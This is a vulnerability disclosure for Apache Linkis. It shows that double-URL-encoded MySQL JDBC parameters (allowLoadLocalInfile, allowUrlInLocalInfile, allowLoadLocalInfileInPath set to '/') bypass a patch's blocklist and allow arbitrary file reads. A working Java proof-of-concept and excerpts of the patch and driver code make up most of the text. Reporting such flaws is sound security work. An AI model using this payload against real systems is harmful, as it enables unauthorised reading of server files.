

Apache Linkis MySQL JDBC Driver

Vulnerability: Arbitrary File Read via Double URL Encoding Bypass

Creator: yulate、h3h3qaq、m4x and zack

Testcase code is as follows, the mysql driver version used for testing is the default 8.0.28 version of the project

```
1 package org.apache.linkis.common.utils;
2
3 import org.apache.commons.collections.MapUtils;
4 import org.apache.commons.lang3.StringUtils;
5
6 import java.sql.DriverManager;
7 import java.util.HashMap;
8 import java.util.Map;
9 import java.util.Properties;
10 import java.util.stream.Collectors;
11
12 public class TestCase {
13     private static final String SQL_DRIVER_CLASS = "com.mysql.cj.jdbc.Driver";
14     private static final String SQL_CONNECT_URL = "jdbc:mysql://%s:%s/%s";
15
16     public static void main(String[] args) throws Exception {
17         String host = "127.0.0.1";
18         int port = 3306;
19         String database = "database";
20         String username = "tmp";
21         String password = "root";
22         Map<String, Object> extraParams = new HashMap<>();
23         String key =
24
25         "%25%36%31%25%36%63%25%36%63%25%36%66%25%37%37%25%34%63%25%36%66%25%36%31%25%3
26         6%34%25%34%63%25%36%66%25%36%33%25%36%31%25%36%63%25%34%39%25%36%65%25%36%36%2
27         5%36%39%25%36%63%25%36%35";
28
29         extraParams.put(key, "yes");
30
31         extraParams.put("%25%36%31%25%36%63%25%36%63%25%36%66%25%37%37%25%35%35%25%37%
```

```

32%25%36%63%25%34%39%25%36%65%25%34%63%25%36%66%25%36%33%25%36%31%25%36%63%25%
34%39%25%36%65%25%36%36%25%36%39%25%36%63%25%36%35", "yes");
27
extraParams.put("%25%36%31%25%36%63%25%36%63%25%36%66%25%37%37%25%34%63%25%36%
66%25%36%31%25%36%34%25%34%63%25%36%66%25%36%33%25%36%31%25%36%63%25%34%39%25%
36%65%25%36%36%25%36%39%25%36%63%25%36%35%25%34%39%25%36%65%25%35%30%25%36%31%
25%37%34%25%36%38", "/");
28
    extraParams.put("maxAllowedPacket", "655360");
29
30    Class.forName(SQL_DRIVER_CLASS);
31    // security check
32    SecurityUtils.checkJdbcConnParams(
33        host,
34        port,
35        username,
36        password,
37        database,
38        extraParams);
39    SecurityUtils.appendMysqlForceParams(extraParams);
40
41    String url =
42        String.format(
43            SQL_CONNECT_URL, host, port, database);
44    // deal with empty database
45    if (StringUtils.isBlank(database)) {
46        url = url.substring(0, url.length() - 1);
47    }
48    if (MapUtils.isNotEmpty(extraParams)) {
49        String extraParamString =
50            extraParams.entrySet().stream()
51                .map(e -> String.join("=", e.getKey(),
String.valueOf(e.getValue())))
52                .collect(Collectors.joining("&"));
53        url += "?" + extraParamString;
54    }
55    System.out.println("jdbc connection url: " + url);
56
57    Properties properties = SecurityUtils.getMysqlSecurityParams();
58    properties.setProperty("user", username);
59    properties.setProperty("password", password);
60    DriverManager.getConnection(url, properties);
61 }
62 }

```

The vulnerability is a bypass of the patch, which filters extraParams in the patch and throws an exception if there is a configuration item in the blacklist

```
SecurityUtilsTest.java  TestCase.java  ConnectionUrlParser.java  ConnectionUrl.java  NonRegisteringDriver.java  SecurityUtils.java x
36  public abstract class SecurityUtils { 57 usages  aiceflower +4
257  private static void checkParams(Map<String, Object> paramsMap) { 2 usages  aiceflower +1
272  paramsMap.putAll(newParamsMap);
273
274  Iterator<Map.Entry<String, Object>> iterator = paramsMap.entrySet().iterator();
275  while (iterator.hasNext()) {
276  Map.Entry<String, Object> entry = iterator.next();
277  String key = entry.getKey();
278  Object value = entry.getValue();
279  if (StringUtils.isBlank(key) || value == null || StringUtils.isBlank(value.toString())) {
280  logger.warn("Invalid parameter key or value is blank.");
281  iterator.remove();
282  continue;
283  }
284  if (isNotSecurity(key, value.toString())) {
285  logger.warn("Sensitive param : key={} and value={}", key, value);
286  throw new LinkisSecurityException(
287  35000,
288  "Invalid mysql connection parameters: " + parseParamsMapToMysqlParamUrl(paramsMap));
289  }
290  }
291  }
292
293  /**
```

A urlDecode will be performed on paramUrl before detection.

```
1  /**
2  * check jdbc params
3  *
4  * @param paramsMap
5  */
6
7  private static void checkParams(Map<String, Object> paramsMap) { 2 usages  aiceflower +1
8  if (paramsMap == null || paramsMap.isEmpty()) {
9  return;
10 }
11
12 // deal with url encode
13 String paramUrl = parseParamsMapToMysqlParamUrl(paramsMap);
14 try {
15 paramUrl = URLDecoder.decode(paramUrl, enc: "UTF-8");
16 } catch (UnsupportedEncodingException e) {
17 throw new LinkisSecurityException(35000, "mysql connection cu l decode error: " + e);
18 }
19
20 Map<String, Object> newParamsMap = parseMysqlUrlParamsToMap(paramUrl);
21 paramsMap.clear();
22 paramsMap.putAll(newParamsMap);
```

In the jdbc driver, the key/value will also be read and urlDecode will be performed once.

```
UrlVerificationUtils.java  DriverManager.java  NonRegisteringDriver.java  ConnectionUrlParser.java  util/StringUtils.java  String.java  ConnectionUrl.java  DefaultProp

79 public class ConnectionUrlParser implements DatabaseUrlContainer {
519
    采用两个匹配组（分别命名为“key”和“value”）模式。该模式针对给定字符串进行连续测试，并生成具有
    匹配值的键/值映射。给定的模式必须确保连续测试之间没有剩余，即前一场测试的结束必须与下一场比赛的
    开始重合。

    参数： pattern - 要匹配的正则表达式模式
           input - 输入字符串

    返回： 包含匹配值的键/值映射

    @
    private Map<String, String> processKeyValuePattern(Pattern pattern, String input) {
532     Matcher matcher = pattern.matcher(input);
533     int p = 0;
534     Map<String, String> kvMap = new HashMap<>();
535     while (matcher.find()) {
536         if (matcher.start() != p) {
537             throw ExceptionFactory.createException(WrongArgumentException.class,
538                 Messages.getString("ConnectionString.4", new Object[]{input.substring(p)}));
539         }
540         String key = decode(encodeURIComponent(matcher.group(1)));
541         String value = decode(encodeURIComponent(matcher.group(2)));
542         if (!isEmpty(key)) {
543             kvMap.put(key, value);
544         } else if (!isEmpty(value)) {
545             throw ExceptionFactory.createException(WrongArgumentException.class,
546                 Messages.getString("ConnectionString.4", new Object[]{input.substring(p)}));
547         }
548         p = matcher.end();
549     }
550     if (p != input.length()) {
551         throw ExceptionFactory.createException(WrongArgumentException.class, Messages.getString("ConnectionString.4", new Object[]{input.substring(p)}));
552     }
553     return kvMap;
554 }
555 }
```

Here, you can bypass the latest patch by performing dual URL encoding and trigger arbitrary file reading

